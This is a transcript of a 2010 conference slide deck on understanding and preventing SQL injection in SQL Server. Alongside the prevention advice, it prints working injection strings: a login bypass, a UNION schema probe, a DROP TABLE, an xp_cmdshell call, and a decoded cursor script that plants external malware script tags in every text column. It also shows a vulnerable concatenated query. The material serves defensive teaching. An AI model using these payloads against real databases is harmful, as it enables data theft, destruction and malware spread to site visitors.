understanding and preventing sql injection attacks
DESCRIPTION
Understanding and Preventing SQL Injection Attacks. Kevin Kline, Technical Strategy Manager Twitter @ kekline Blog at http://KevinEKline.com. Your Speaker: Kevin Kline. Agenda. What is SQL Injection? An Attacker’s Approach SQL Injection Techniques Preventing SQL Injection - PowerPoint PPT PresentationTRANSCRIPT
© 2010 Quest Software, Inc. ALL RIGHTS RESERVED
Understanding and Preventing SQL Injection Attacks
Kevin Kline, Technical Strategy ManagerTwitter @keklineBlog at http://KevinEKline.com
2
Your Speaker: Kevin Kline
My first book
Founding PASS
MVP Status
3
Agenda
• What is SQL Injection?• An Attacker’s Approach• SQL Injection Techniques• Preventing SQL Injection• Security Best Practices & Tips• Useful Links and Resources
4
Context and Background
5
What is SQL Injection?
• SQL injection occurs when a malicious user controls the criteria of SQL statements and enters values that alter the original intention of the SQL statement
6
Who is Vulnerable?
• All SQL database platforms are susceptible• Bypasses firewall protections• Applications that build and send SQL strings are
vulnerable– Coding techniques can be exploited– SQL statement itself is hacked– Formatting vulnerabilities
8
Or This Webcode…
string cmdStr = @"SELECT order_id, order_date, qty
FROM Production.Orders
WHERE customer_name LIKE '%" + SearchText.Text
+ "%'";
using (SqlConnection conn = new SqlConnection(connStr))using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn)){
DataTable dtOrders = new DataTable();
sda.Fill(dtOrders);
return dtOrders.DefaultView;}
99
Injected Values Can Range from Bad…
The “Good” search text:'Hanso Foundation'
The “Curious” search text:'Widmore Industries' or 1=1 -- ‘
The “Exploratory” search text:…ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --
1010
…To Worse
The Ugly search text:…ZZZ'; DROP TABLE customer_credit_card --
The REALLY UGLY search text:…ZZZ'; xp_cmdshell(‘FTP …’)
11
Attack Methodology
Reconnaissance
Scan for Vulnerabilities / Access
Gain Access
Escalate Privileges
Maintain Access
Cover Tracks
12
Attackers…
• …understand the concept of ‘surface area’• …use error messages to learn about the structure of the
underlying SQL statements and database• …exploit SQL formatting characters (single quotes,
comment notation (--), semi-colons, etc)
13
Then Attackers…• …manipulate the SQL statements to learn about the
structure of the database and data• …execute SQL statements at will• …use built-in trap doors inside of the DBMS to go to the
next level– Upload their own files, even replacing your own– Examine the rest of your infrastructure– Download data– Launch malware and bots
14
SQL Injection Techniques
• Probing databases• Bypassing authorization• Executing multiple SQL statements• Calling built-in stored procedures• Exiting to the OS for command-line access• Inserting code to be used by the web app
15
Error Type:Microsoft OLE DB Provider for SQL Server (0x80040E14)
Unclosed quotation mark before the character string ′having 1 = 1--′.
/Project1/Demo.asp, line 14
Probing Databases • Web apps usually return connectivity error
information – unless you trap the errors!• Hackers can use this information and continually
modify parameters to discover:– Table names, column names, data types, row values
1616
Bypassing Authorization
Good Guy, passes these values - UserID: administrator Password: GoodOne
SELECT * FROM usersWHERE username = ‘administrator’ AND password = ‘GoodOne’;
Bad Guy, passes this value - UserID: ‘ OR 1=1 Password --
SELECT *FROM usersWHERE username = ‘’ OR 1=1 – and password =
1717
INSERT Statement Injections
Good Guy INSERT INTO Authors (auName, EmailAddress)VALUES (‘Julian Isla’, ‘[email protected])
Bad GuyINSER INTO Authors (auName, EmailAddress)VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’, [email protected]’);EXEC xp_regread HKEY… ;
Very Bad Guy, uses scripting and text/xml fields
18
Blind SQL Injection• Good apps trap default errors and show their
own. Hackers flank this with:– Normal Blind: Get response data from error codes,
severity levels, and HTTP status codes– Totally Blind: Gather data through IF…THEN
testing, response times, logging, and system functions.
1919
Blind Example
URL query string:DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--
Decoded:DECLARE @S NVARCHAR(4000); SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000)); EXEC(@S);--
SELECT CAST('this could be some bad code' as varbinary(256))
SELECT CAST (0x7468697320636F756C6420626520736F6D652062616420636F6465 as varchar(256))
2020
Blind Example
Final SQL code being executed (hex value decoded):
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.211796*.net/f****p.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
21
SQL Injection as an Attack Vector
• Attackers have chosen not to go after data• Targets have been legitimate web sites• Plant links and redirects to malware sites• Use of a blended attack (browser vulnerability) to infect the
client computer• Take control of client computers
22
Preventing SQL Injection
• Never let an app connect as sysadmin– Least privilege principle
• Building secure SQL statements and apps:– Input validation: check for valid input
• Don’t check for bad input, you will always miss a case– Use stored procedure to hide application logic – no
default error messages; no direct access to tables– Use parameterized input, not string concatenation– Multi layered input checking: application, stored
procedure, database schema• Apply the latest security patches!
23
Best Practices, Service Accounts
• SQL Server may use the local system account.• Set up a specific Windows login (not Admin!) with
appropriate privileges for use by the MSSQLServer system service.
• Add a separate Windows login (not Admin!) for SQLServerAgent system service.
24
Best Practices, Security Settings• Enable ‘Non-sysadmin job step proxy account’ on
SQL Server Agent. • Set security Audit Level at least to ‘Failure’. Monitor it!• Make sure data and log files are on NTFS with proper
ACLs applied.• Restrict system stored proc’s and XP’s to sysadmins-
only• Remove guest from all but master and tempdb• Disable anything unneeded and unused! (e.g. SQL
Browser service, unneeded network protocols)• Use Windows Authentication where feasible..
25
Best Practices, Security Checks
• Check for null and bad passwords frequently• Check for non-SA permissions on all system SPs and XPs• Monitor failed login attempts• Three free scanner utils (HP Scrawlr, URLScan, and
Microsoft Source Code Analyzer for SQL Injection (http://www.sqlmag.com/Articles/ArticleID/100720/100720.html?Ad=1)
• Microsoft Assessment and Planning (MAP) is a great tool as well, available at http://technet.microsoft.com/en-us/library/bb977556.aspx
Tip: Get Quest Discovery Wizard for free!
26
Best Practices, Security Practices
• Strong SA password– at least 6 digits long with at least 2 numbers– Add mixed case and symbols for more strength
• Use roles for provisioning, not users– More work, user must be assigned to a login and role– Easy to forget when user leaves
• Never hardcode passwords• Never write apps for use by the SA account• Change passwords frequently
27
Best Practices, Security for Developers
• Do Not Trust User InputData Validation– Black list vs White list
• Run With Least Privilege• Defense in Depth• Fail Intelligently• Test Security• Remove unused stored procedures, views, and
UDFs
28
Best Practices, Security for Developers (cont’d)
• Use Parameterized Queries or Stored Procedures– Do not use string concatenations to build SQL queries
• Use Views and Stored Procedures• Demand security savvy third-party applications!
29
Resources
• http://www.sqlsecurity.com – my favorite for broad security and tools on SQL Server
• Microsoft SQL Injection white paper at http://msdn.microsoft.com/en-us/library/ms161953.aspx
• How-to: Prevent SQL Injection on ASP.Net http://msdn.microsoft.com/en-us/library/ms998271.aspx
• SQL Injection via CAST: http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html
• SQL Injection Cheat Sheet: http://ferruh.mavituna.com
30
Quest Software Swag for SQL ServerFree posters, guides, and other goodies.
HTTP://www.quest.com/backstage/promotion.aspx
Free DVD Training: HTTP://db-management.com/live
March 2010
July 2010
31
Quest Software Resources for SQL Server
SQLServerPedia – SQL Server knowledge base, straight from the experts.
HTTP://www.SQLServerPedia.com
SQL Server Community – Online discussion forums, customization library, and beta
programs.
HTTP://SQLServer.quest.com
SQL Server Backstage – All things SQL Server at Quest including our
Pain of the Week Webcasts.
HTTP://www.quest.com/BackStage
© 2010 Quest Software, Inc. ALL RIGHTS RESERVED
Questions ? Send questions to me at: [email protected] Twitter @kekline Blogs at SQLServerPedia.com, SQLblog.com, SQLMag.com, etc. Rate Me – http://SpeakerRate.com/kekline/ Content at http://KevinEKline.com/Slides/